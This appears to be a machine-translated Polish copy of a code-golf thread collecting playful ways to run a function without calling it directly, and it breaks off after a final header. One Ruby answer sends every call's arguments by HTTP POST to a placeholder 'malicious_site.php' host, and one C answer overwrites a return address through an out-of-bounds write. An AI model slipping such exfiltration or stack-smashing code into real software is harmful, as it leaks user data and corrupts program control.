Wywołaj metodę bez wywoływania jej [zamknięte]


77

Zainspirowany usuniętym pytaniem StackOverflow . Czy potrafisz wymyślić sposób wykonania określonej metody bez wyraźnego jej wywołania? Im bardziej pośredni, tym lepiej.

Oto, o co mi dokładnie chodzi (C użyte tylko do zilustrowania, wszystkie języki są akceptowane):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Oryginalne pytanie: wprowadź opis zdjęcia tutaj


58
+10471 ... fajnie
qwr

29
Zastanawiam się, ile powtórzeń potrzebujesz do przepełnienia stosu?
PyRulez

34
Najwyraźniej jest to zrzut ekranu z konta @Mysticial , widząc awatara. Mysticial, można zadawalają tylko kliknąć na karcie rep?!?!?!
Klamka

4
@Doorknob Dlaczego powinien? Wszystko pochodzi od jednej odpowiedzi.
FDinoff

8
@PyRulez Jon Skeet nie ma jeszcze, więc jesteśmy bezpieczni teraz .
Cole Johnson

Odpowiedzi:


109

do

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Po kompilacji za pomocą GCC kompilator zamienia printf("Goodbye!\n")się na puts("Goodbye!"), co jest prostsze i powinno być równoważne. Podstępnie podałem swoją niestandardową putsfunkcję, więc zamiast niej jest wywoływana.


1
@ user17752 To jest transformacja, którą GCC dokonuje nawet przy -O0. (W każdym razie GCC 4.8. Być może inne wersje potrzebują innych opcji).
hvd

1
przepraszam, mój błąd, zapomniałem, że używam clang na moim Macbooku.
DarkHeart

@ user17752 Dzięki, nie testowałem z innymi kompilatorami, miło wiedzieć, że clang ma przynajmniej opcję uzyskania tej samej transformacji.
hvd

Gratulacje! Zwycięzcą jesteś Ty!

84

Jak złośliwe oprogramowanie może wykonywać funkcje, które nie są wywoływane w kodzie? Przepełnione bufory!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

W moim systemie adres zwrotny mainzdarza się przechowywać 3 słowa nad pierwszą zmienną lokalną. Mieszając ten adres zwrotny z adresem innej funkcji, main„wraca” do tej funkcji. Jeśli chcesz odtworzyć to zachowanie w innym systemie, może być konieczne dostosowanie 3 do innej wartości.


Pobij mnie (+1) - to oczywiste rozwiązanie C.
Komintern

20
Użyj <!-- language: lang-c -->dwóch linii przed kodem, aby go podświetlić.
Victor Stafusa

9
Cały grad @Victor, bohater wyróżniający składnię!
Jason C

@Victor jest to oficjalnie udokumentowane? Jeśli tak to gdzie?
Thorbjørn Ravn Andersen


75

Grzmotnąć

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
Obsługa wyjątków. Inne wywołanie metody!
phyrfox

56

Python 2

>>> def func(*args):
        print('somebody called me?')

Oto kilka sposobów inspirowanych innymi odpowiedziami:

  1. wykonanie kodu bezpośrednio

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Jest to najlepszy sposób, aby naprawdę nie wywoływać funkcji.

  2. za pomocą destruktora

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Korzystanie ze standardowego wejścia / wyjścia

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. za pomocą wyszukiwania atrybutów

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Mechanizm importu

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Myślę, że to wszystko .. Nie mogę teraz niczego importować. Nie, czekaj..

  6. Korzystanie z nawiasów get-item []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Korzystanie ze zmiennych globalnych. Mój ulubiony!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    hellojest dostępem do d['hello']. Po tym świat wydaje się szary.

  8. Klasy Meta;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Korzystanie z iteratorów (możesz przeciążyć dowolnego operatora i użyć go)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Błędy!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Ramy oddzwonią. Prawie każdy GUI ma tę funkcjonalność.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Wykonaj łańcuch źródłowy (func musi znajdować się w pliku)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Dekoratorzy

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. z serializacją pikle (najmniej ulubionych)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Korzystanie z serializacji

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Więcej odpowiedzi na Python:


1
Ładna kolekcja, ale zapomniałeś o wątkach . ;)
nyuszika7h

Ta odpowiedź jest absurdalna. +1
asteri

To jest python 3
Braden Best

1
Wiele z tych przykładów działa również w Pythonie 3. Pokazana meta-klasa i zgłaszanie wyjątków nie działają w Pythonie 3.
Użytkownik

22

JavaScript

Ten używa JSFuck do brudnej roboty.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Myślę, że to kwalifikuje się jako jawne wywołanie funkcji. Po prostu bardzo zaciemniony.
primo

3
@primo, będzie konstruował ciąg javascript do wykonania i pozyskiwał obiekt Function, aby go wywoływać. Ale w tym celu wykorzystuje niejawne konwersje między typami; np. ""jest łańcuchem i przyjmuje []wartość 0, więc ""[[]]jest niezdefiniowany i ""[[]]+""jest „niezdefiniowany”. Stamtąd możesz wyciągać pojedyncze litery: (""[[]]+"")[[]]jest „u”. Bardziej przypomina to hack, aby wywołać exec z dowolnym kodem. Myślę, że to się liczy?
Phil H

1
@PhilH Rozumiem, jak to działa. Usuń ostatnie dwa nawiasy: function anonymous() { x() }.
primo

22

Pyton

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Ustawia się to the_functionjako funkcję profilowania, powodując, że będzie wykonywana przy każdym wywołaniu funkcji i powrocie.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Czy to jest Python?
Hosch250

@ user2509848 Tak, zapomniałem o tym wspomnieć.
grc

Odpowiedź inna niż C! Chciałbym zobaczyć więcej: D

@Johnsyweb Proszę zobaczyć meta.codegolf.stackexchange.com/q/1109/9498 . Nie ma potrzeby edytowania każdego postu, aby uwzględnić wyróżnianie składni, szczególnie jeśli ma to niewielki wpływ na wygląd kodu (np. Krótki kod).
Justin

@Quincunx: Acknowledged ☻
Johnsyweb

18

DO#

Możemy nadużywać DLR, aby zawsze uruchamiał jakiś kod za każdym razem, gdy próbujesz wywołać dowolną metodę w klasie. Jest to nieco mniej tani / oczywiste niż rozwiązań takich jak delegatów, odbicia, konstruktorów statycznych, itp, ponieważ metoda wykonywany jest nie tylko nigdy wywoływany ale nigdy nawet odwoływać , nawet jego imienia.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

To zawsze drukuje „Ha! Oszukał cię!” bez względu na to , co próbujesz wywołać a. Więc mógłbym równie łatwo napisać a.SuperCaliFragilisticExpiAlidocious()i zrobiłbym to samo.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

To jest bardzo bezpośredni, ale z pewnością nie jest wezwanie do hello_world, nawet jeśli funkcja ma wykonać.


16

Rubin

Zainspirowany przez wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

16

do

Możesz zarejestrować funkcję, która ma być wywoływana na końcu programu w C, jeśli pasuje to do twoich potrzeb:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Jawa

Próbowałem tego z java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Metoda secretMethodNotCalledInMainjest wywoływana tylko przez odbicie i nie szukam niczego, co się nazywa secretMethodNotCalledInMain(zamiast tego szukam czegoś, co nie jest wywoływane main). Ponadto odblaskowa część kodu jest wywoływana poza mainmetodą, gdy uruchamia się nieprzechwycony moduł obsługi wyjątków JDK.

Oto moje informacje o JVM:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Oto wynik mojego programu:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Nie spodziewałem się, NullPointerExceptionże zostaną one wyrzucone z natywnego kodu do obsługi refleksji. Ale, jak wspomniano w @ johnchen902, to dlatego, że dziedziczy on niektóre metody java.lang.Objecti ostatecznie wywołałem je na nulls.


To NPEnie są błędy JDK. Są wyrzucane, ponieważ starał się wywołać metody instancji zgłoszone java.lang.Objecttakie jak toString()z null.
johnchen902

@ johnchen902 Och, oczywiście. Dziękuję Ci. Zredagowałem to.
Victor Stafusa,

14

C ++

Jednym ze sposobów w C ++ jest konstruktor i / lub destruktor obiektu statycznego:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Myślałem też o przeładowaniu nowych i usuwaniu , ale myślę, że trzy odpowiedzi wystarczą :)
fredoverflow

Czy konstruktory / destruktory są uważane za „metody” w C ++? W .NET i Java są w rzeczywistości innym typem członka. Nie możesz bezpośrednio zadzwonić do statycznego ctor, nawet jeśli chcesz ...
Aaronaught

@Aaronaught: Nic nie jest uważane za „metodę” w C ++ (przynajmniej przez każdego, kto wie o czym mówi). Konstruktory i destruktory są funkcjami składowymi. Są to jednak „specjalne” funkcje składowe (np. Konstruktory nie mają nazw, więc nie można ich bezpośrednio wywoływać).
Jerry Coffin

Użyłem tego terminu tylko dlatego, że PO. Wiem, że C / C ++ i prawie każdy inny język inny niż Java / .NET ma funkcje, a nie metody. Ale najważniejsze jest to, że nie można bezpośrednio na nie powoływać się. Można argumentować, że konstruktor instancji jest technicznie bezpośrednio wywoływany new, więc byłoby ciekawą odpowiedzią na sposób wywołania go bez niego new . Ale nie wiem, statyczni konstruktorzy czują się trochę oszukani.
Aaronaught

@Aaronaught Jeśli chcesz wywołać konstruktora w już przydzielonej pamięci, możesz pisać new (p) foo(). I możesz zniszczyć obiekt bez zwalniania pamięci przez p->~foo().
fredoverflow

12

C: Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Wynik:

Hello World!

Aby połączyć metodę, potrzebujemy skompilować printf () gdzieś w programie, ale nie trzeba go tak naprawdę wywoływać. Funkcje printf () i main () znajdują się 276 bajtów od siebie w segmencie kodu. Ta wartość zmieni się w zależności od systemu operacyjnego i kompilatora. Możesz znaleźć rzeczywiste adresy w systemie za pomocą tego kodu, a następnie po prostu je odejmij:

printf("%d %d\n", &printf, &main);

4
To, co było *wcześniej, mainjest naprawdę mylące i niepotrzebne. mainjest funkcją, której nie można wyrejestrować, więc domyślnie rozpada się na wskaźnik funkcji, który jest następnie wyłuskany w celu uzyskania funkcji ponownie. Nie można odjąć liczby całkowitej od funkcji, więc ponownie rozpada się na wskaźnik funkcji. Równie dobrze możesz pisać (*****main-276);) Prawdopodobnie chciałeś pisać (&main-276)lub (*(main-276))zamiast tego.
fredoverflow

6
The * before main is really confusing and unnecessary.- Czy to ogólnie nie jest dobra rzecz na tej stronie?
James Webster,

Miałem wrażenie, że standard mówi, że dobrze sformułowany program nie będzie używał main, ale nie może go teraz znaleźć ...
Damon

3
nazywacie to wprost zaciemnionym odnośnikiem
Nowayz

9

C (z wbudowanym asmem GCC)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Spowoduje to, że część kodu emitowanego przez GCC znajdzie się w innym segmencie pliku obiektowego, co sprawi, że przepływ sterowania „spadnie” przez funkcję. Zauważ, że to nie działa, jeśli GCC zdecyduje się zmienić kolejność funkcji, oczywiście. Testowane z GCC 3.4.6 na MirBSD-current / i386, przy użyciu -O2. (Poza tym przerywa debugowanie, kompiluje się z -gbłędami ☺)


8

PHP ≥5.4.0

To rozwiązanie jest wprawdzie okropnym bałaganem, ale wykonuje powierzone mu zadanie (nie było mowy o tym, jak dobrze ma się wykonać).

Funkcja wywoływania bez wywoływania :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

Rozwiązanie :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Przykład :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Możliwe wyniki:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Objaśnienie :

Po wywołaniu executeFunction()odczyta zawartość aktualnie wykonywanego pliku (co oznacza, że ​​ma on być uruchamiany tylko z CLI, jak używa $argv), przeanalizuje argumenty i treść określonej funkcji, zhakuje wszystko z powrotem do nowej części kod, eval()to wszystko i zwróć wynik. W rezultacie getRandomString()nigdy nie jest wywoływana, bezpośrednio ani pośrednio, ale kod w treści funkcji jest nadal wykonywany.


Cóż, czy tworzenie __construct()metod ma znaczenie w PHP, ponieważ nigdy nie wywołujesz funkcji bezpośrednio, ale new Something()zamiast tego używasz ?
Damir Kasipovic

@ D.Kasipovic Niby, można argumentować, że nadal bezpośrednio przywołujesz to, tylko w inny sposób. Wybrałem swoje obecne podejście, ponieważ lubię myśleć nieszablonowo. Mogłem tylko zarejestrowany jako funkcji wywołania zwrotnego do register_tick_function(), register_shutdown_function()lub spl_autoload_register()podobne do @ GRC w Pythonie odpowiedź, ale czuję, że jest „oszustwo” i biorąc łatwe wyjście.
Tony Ellis,


7

T-SQL

To wbudowana funkcja. Wyzwalacze do wygranej!

Jeśli naprawdę chcesz się z tym dobrze bawić, utwórz kilka INSTEAD OF trigerów w Prima Aprilis.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Wyniki:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Bardzo dowcip. Taki lulz. Łał.

Tinker rozszerzył to na SQLFiddle.


2
Wyzwalacze zawsze mnie dopadają, jako twórca aplikacji nigdy ich nie oczekuję.
Matthew

7

JavaScript

W konsoli Firefox:

    this.toString = function(){alert('Wow')};

Następnie po prostu zacznij pisać w konsoli - Firefox wywołuje .toString()wiele razy podczas pisania w konsoli.

Podobne podejście to:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

do

